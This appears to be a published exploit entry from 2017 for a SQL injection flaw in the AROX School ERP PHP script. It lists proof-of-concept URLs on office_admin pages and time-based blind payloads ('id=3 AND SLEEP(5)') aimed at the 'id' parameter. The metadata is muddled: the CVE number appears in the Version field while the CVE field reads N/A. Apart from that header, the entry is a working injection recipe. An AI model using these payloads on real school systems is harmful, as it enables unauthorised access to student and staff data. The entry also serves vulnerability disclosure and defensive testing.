AROX School ERP PHP Script SQL Injection

`# # # # #   
# Exploit Title: AROX School ERP PHP Script - SQL Injection  
# Dork: N/A  
# Date: 30.10.2017  
# Vendor Homepage: http://arox.in/  
# Software Link: https://www.codester.com/items/4908/arox-school-erp-php-script  
# Demo: http://erp1.arox.in/  
# Version: CVE-2017-15978  
# Category: Webapps  
# Tested on: WiN7_x64/KaLiLinuX_x64  
# CVE: N/A  
# # # # #  
# Exploit Author: Ihsan Sencan  
# Author Web: http://ihsan.net  
# Author Social: @ihsansencan  
# # # # #  
# Description:  
# The vulnerability allows an attacker to inject sql commands....  
#   
# Proof of Concept:   
#   
# http://localhost/[PATH]/office_admin/?pid=95&action=print_charactercertificate&id=[SQL]  
# http://localhost/[PATH]/office_admin/?pid=95&action=edit&id=3[SQL]  
#   
# Parameter: id (GET)  
# Type: AND/OR time-based blind  
# Title: MySQL >= 5.0.12 AND time-based blind  
# Payload: pid=95&action=print_charactercertificate&id=3 AND SLEEP(5)  
#   
# Parameter: id (GET)  
# Type: AND/OR time-based blind  
# Title: MySQL >= 5.0.12 AND time-based blind  
# Payload: pid=95&action=edit&id=3 AND SLEEP(5)  
#   
# Etc..  
# # # # #  
  
  
`